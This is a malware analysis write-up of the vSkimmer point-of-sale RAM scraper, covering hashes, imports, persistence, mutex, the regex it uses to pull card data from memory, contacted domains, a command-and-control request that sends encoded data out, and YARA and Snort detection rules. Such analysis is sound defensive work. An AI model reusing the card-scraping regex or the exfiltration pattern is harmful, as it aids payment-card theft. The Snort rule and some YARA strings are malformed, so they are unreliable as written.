Vitali Kremez
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Backdoor: Win32/Hesetox.A: vSkimmer POS Malware Analysis 

12/26/2015

0 Comments

 
Source: VirusShare
Malware Family:  RAM Scraper
Static Analysis Tools: pestudio, CFF Explorer, PEID, BinText, IDA Pro
Dynamic Analysis Tools: pexplorer, ProcMon, RegShot, ProcDump, Autoruns, Wireshark, Sandboxie, Comodo
 
Reports:
(1) Comodo:
http://camas.comodo.com/cgi-bin/submit?file=e8bd8aba01ebbe2b9afa5b8c3d56a27363687b5b6963ce593b94a6fd2d831e2a

(2) VirusTotal:
https://www.virustotal.com/en/file/e8bd8aba01ebbe2b9afa5b8c3d56a27363687b5b6963ce593b94a6fd2d831e2a/analysis/1451089742/
 
I . Static Analysis: 
 
Target machine: Intel 386 or later processors and compatible processors
Compilation Timestamp: 2012-12-21 23:30:50
Entry Point: 0x00009D12
File type: Win32 EXE
Number of Sections: 5

MD5: 53950faf49ccb19b83b786eadedfe591
SHA256: e8bd8aba01ebbe2b9afa5b8c3d56a27363687b5b6963ce593b94a6fd2d831e2a
 
File size: 224.5 KB (229888 bytes )
 
Detection ratio: 47 / 54
 
PE imports:
[+] ADVAPI32.dll
[+] KERNEL32.DLL
[+] SHELL32.dll
[+] USER32.dll
[+] WS2_32.dll
[+] Urlmon.dll
Red Flags:
The file transfers control to a Debugger.
The count (13) of Authorization functions reached the maximum (1) threshold.
The count (9) of Registry functions reached the maximum (1) threshold.
The count (15) of Memory Management functions reached the maximum (1) threshold.
The count (5) of Tool Help functions reached the maximum (1) threshold.
The count (3) of Error Handling functions reached the maximum (1) threshold.
The count (7) of Debugging functions reached the maximum (1) threshold.
The count (9) of Console functions reached the maximum (1) threshold.
The count (11) of Dynamic-Link Library functions reached the maximum (1) threshold.
The count (35) of Process and Thread functions reached the maximum (1) threshold.
The count (5) of SEH functions reached the maximum (1) threshold.
The count (19) of File Management functions reached the maximum (1) threshold.
The count (134) of blacklisted strings reached the maximum (30) threshold.
The count (8) of deprecated imported functions reached the maximum (5) threshold.
The count (78) of imported blacklisted functions reached the maximum (1) threshold.
The first section (name:.text) is writable.
The last section (name:.reloc) is executable.
The count (2) of Writable and Executable sections reached the maximum (0) threshold.
The file contains self-modifying code.
The count (2) of executable sections reached the maximum (1) threshold.
The file references a URL (www.wrotjywvpzpwectb.in) unknown by virustotal.
The count (7) of antidebug imported functions reached the maximum (1) threshold.
The file modifies the registry.
The file references child Processes.
The file opts for Address Space Layout Randomization (ASLR) as mitigation technique.
The file checksum (0x00000000) is invalid.
The file has no Version.
The file is not signed with a Digital Certificate.
*The file references 1 MIME64 encoding string(s).
 
Here some interesting strings:
Picture
Picture
Picture
Here is the Regular Expression that extracts credit card data from memory:
 
;?[3-9]{1}[0-9]{12,19}[D=\\u0061][0-9]{6,20}
 
II. Dynamic Analysis:
 
Whitelisted the following processes during the RAM scraping function:
Picture
Created mutex “Heistenberg2337”
Picture
​Launched the following processes:
  • e8bd8aba01ebbe2b9afa5b8c3d56a27363687b5b6963ce593b94a6fd2d831e2a.exe 1332
    • svchost.exe 1912
  • Explorer.EXE 1420
    • GrooveMonitor.exe 1640
ctfmon.exe 1652

Established drive name “KARTOXA007” and filename for the data as “dmpz.log”:
Picture
Established persistence in the following hive as “PCICompliant SCard”:
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
 
Anti-Reverse Engineering
details
.reloc with unusual entropies 7.57915704423
source
Static Parser
 
Dropped files
details
"system.ini" has type "ASCII text, with CRLF line terminators"
source
Dropped File
 
Network Related
Found potential URL in binary/memory
details
Pattern match: "www.wrotjywvpzpwectb.in"
Pattern match: "http://mumbaibuildersforum.com/images/logo.gif"
Pattern match: "http://ucakambulans-tr.com/logo.gif"
Pattern match: "http://gadahospital.com/images/button.gif"
Pattern match: "http://www.revaengg.com/images/logo.gif"
Pattern match: "http://ambulansfabrikasi.com/images/button.gif"
Pattern match: "http://sizinajansiniz.com/logo.gif"
Pattern match: "http://arslanzeminmakina.com/images/button.gif"
Pattern match: "http://theadhyayana.in/image/logo.gif"
Pattern match: "http://www.sanalpetrol.com/logo.gif"
Pattern match: "http://aircharge.in/images/logo.gif"
source
String
 
Contacts domains
details
"mumbaibuildersforum.com"
"ucakambulans-tr.com"
"gadahospital.com"
"www.revaengg.com"
"sizinajansiniz.com"
"arslanzeminmakina.com"
"theadhyayana.in"
"www.sanalpetrol.com"
"www.turkteknoloji.net"
"aircharge.in"
"ambulansfabrikasi.com"
source
Network Traffic
 
Uses a User Agent typical for browsers, although no browser was ever launched
details
Found user agent(s): Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50728) and “PCICompliant/3.33nt”
source
Network Traffic
 
Sends UDP traffic
details
"UDP connection to 200.149.51.210"
"UDP connection to 92.105.5.6"
"UDP connection to 148.120.209.123"
"UDP connection to 201.87.155.227"
"UDP connection to 169.215.181.213"
"UDP connection to 221.125.48.10"
"UDP connection to 201.244.62.163"
"UDP connection to 157.88.233.221"
 
DNS query:
64.4.10.33:123
www.wrotjywvpzpwectb.in IN A +
 
HTTP query:
www.wrotjywvpzpwectb.in GET /api/process.php?xy=ZmRlOWE4NTctNjhkNS00Y2Q5LWI1YWUtNmFlMmE0OGY1MTFifGF6fDIuMS4xMnw1LjEuMnxTQU5EQk9YQXxVc2VyfDE# HTTP/1.1
 
Suspicious and POS scraping APIs
details
CopyFileA
GetModuleFileNameA
GetModuleHandleA
Sleep
CheckRemoteDebuggerPresent
IsDebuggerPresent
ReadProcessMemory
Process32Next
OpenProcess
Process32First
CreateToolhelp32Snapshot
GetDriveTypeA
CreateFileA
GetVersionExA
GetComputerNameA
CreateFileW
GetCommandLineA
ExitThread
CreateThread
GetProcAddress
GetModuleHandleW
WriteFile
GetModuleFileNameW
GetStartupInfoW
GetTickCount
TerminateProcess
UnhandledExceptionFilter
LoadLibraryW
RegCreateKeyExA
OpenProcessToken
GetUserNameA
RegOpenKeyA
RegCloseKey
ShellExecuteA
URLDownloadToFileA
WSAStartup (Ordinal #115)
socket (Ordinal #23)
connect (Ordinal #4)
send (Ordinal #19)
recv (Ordinal #16)
closesocket (Ordinal #3)
 
III. Yara Signature:
 
rule Backdoor_Win32_vSkimmer_POS : POS_BDR
{
meta:
         author = "Vitali Kremez"
         date = "2015-12-26"
         description = "Detected vSkimmer POS"
         hash0 = "53950faf49ccb19b83b786eadedfe591"
         sample_filetype = "exe"
 
strings:
         $mutex = “Heistenberg2337”
         $string0 = "KARTOXA007"
         $string1 = “dmpz.log"
         $string2 = "August"
         $string3 = "www.wrotjywvpzpwectb.in"
         $string4 = "$basic_ofstream@DU"
         $string5 = "alg.exe"
         $string6 = "FDPjGS"
         $string7 = "gjP$k-"
         $string8 = " SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
          $string9 = "User-Agent: PCICompliant/3.33"
         $string10 = "F\\PjMS"
         $string11 = "Ezeb]z"
         $string12 = "j h (B"
         $string13 = "spanish-peru"
         $string14 = "UTF-16LE"
         $string15 = "$basic_streambuf@DU"
         $string16 = "pL $T,"
         $string17 = "This indicates a bug in your application." wide
condition:
         6 of them and all of ($mutex*) and filesize<225KB
}
 
Sourcefire Rule:
alert tcp any any -> any any (msg:" vSkimmer POS Backdoor Alert"; flow:to_server,established; content:”/api/process.php?xy=”; “www.wrotjywvpzpwectb.in”; “mumbaibuildersforum.com”; “ucakambulans-tr.com”; "gadahospital.com"; "www.revaengg.com"; "sizinajansiniz.com"; "arslanzeminmakina.com"; "theadhyayana.in"; “www.sanalpetrol.com”; “www.turkteknoloji.net”;"aircharge.in"; “ambulansfabrikasi.com”; “PCICompliant/3.33nt”;  noncase; pcre:"/.*(portal1/gateway.php).*/”; pcre: “/.*(?xy=).*/";classtype: Trojan-activity)
 
IV: vSkimmer Profile:
 
Registry Persistence: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Mutex: Heistenberg2337
Gate Path: www.wrotjywvpzpwectb.in   via /api/process.php?xy=
 
Flashdrive: KARTOXA007
Logs File: dmpz.log
ProcessName: svchost
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